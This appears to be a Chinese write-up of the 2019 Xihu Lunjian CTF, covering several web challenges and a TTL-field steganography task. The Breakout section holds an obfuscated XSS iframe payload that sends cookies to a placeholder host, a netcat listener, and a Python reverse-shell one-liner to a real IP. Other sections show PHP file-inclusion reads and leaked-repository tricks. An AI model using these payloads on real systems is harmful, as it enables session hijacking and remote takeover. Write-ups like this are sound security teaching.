CTFctf

2019 西湖论剑 WriteUp

2019-04-08  本文已影响101人  Eumenides_62ac

Web

babyt3

登录看到:



尝试文件包含:

file=php://filter/read=convert.base64-encode/resource=index.php

得到源码:

<?php
$a = @$_GET['file'];
if (!$a) {
    $a = './templates/index.html';
}
echo 'include $_GET[\'file\']';
if (strpos('flag',$a)!==false) {
    die('nonono');
}
include $a;
?>

<!--hint: dir.php -->

读取dir.php的源码:

file=php://filter/read=convert.base64-encode/resource=dir.php

得到源码:

<?php
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));

构造去查看根目录下:

dir.php?dir=/

然后去读取ffffflag_1s_Her4文件:
/?file=php://filter/read=convert.base64-encode/resource=/ffffflag_1s_Her4

得到flag

Breakout

进去看到留言板


使用下面payload可以弹到自己的cookie
<iframe src="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:window.location.href='http://xxxx:8000/?a='+document.cookie"

然后去report页面提交留言板地址:http://ctf1.linkedbyx.com:10441/main.php


过验证码的脚本:
import hashlib


def md5(key):
    m = hashlib.md5()
    m.update(key.encode('utf-8'))
    return m.hexdigest()


for i in range(1000000000):
    if md5(str(i))[0:6] == '7751c4':
        print(i)
        break

然后自己远程服务器上:

$ nc -lvvp 8000

可以打到管理员的cookie


然后去执行命令。

远程getshellpayload如下:
command=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("118.25.89.91",8000));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'&exec=1

反弹shell成功后,flag.txt在根目录下。

猜猜flag是什么

首先要去拿到code


通过扫描,可以看到根目录下有.DS_Store泄露:http://ctf1.linkedbyx.com:10442/.DS_Store

找到/e10adc3949ba59abbe56e057f20f883e/目录后访问,可以看到又有.git泄露。

githack获得一个压缩包BackupForMySite.zip
用明文攻击解开压缩包,得到里面的code

之后去主页面提交:
/?code=你找到的code

给了一个随机数。
使用php_mt_seed

$ time ./php_mt_seed  你的随机数

得到数字依次访问:

/flag/得到的数字.txt

就能得到flag

Misc

奇怪的TTL字段

发现ttl.txt中的ttl只有4个值63,127,191,255,写出他们的二进制表示后发现只有最高两位不同
于是考虑做如下转换,发现写出来的16进制数开头是ffd8,应该是jpg,于是写入文件中:

fp = open('ttl.txt','r')
a = fp.readlines()
p = []
for i in a:
    p.append(int(i[4:]))
s = ''
for i in p:
    if i == 63:
        a = '00'
    elif i == 127:
        a = '01'
    elif i == 191:
        a = '10'
    elif i == 255:
        a = '11'
    s += a
# print(s)

import binascii
flag = ''
for i in range(0,len(s),8):
    flag += chr(int(s[i:i+8],2))
flag = binascii.unhexlify(flag)
wp = open('res.jpg','wb')
wp.write(flag)
wp.close()
#00111111 63
#01111111 127
#10111111 191
#11111111 255

写完之后发现只有二维码的一部分,应该是不止一张图,用foremost直接分开就好了,之后用ps拼在一块,扫描之后得到如下信息:

key:AutomaticKey cipher:fftu{2028mb39927wn1f96o6e12z03j58002p}

应该就是AutoKey那个加密了,找了个在线网站解密
https://www.wishingstarmoye.com/ctf/autokey
得到flag。

上一篇下一篇

猜你喜欢

热点阅读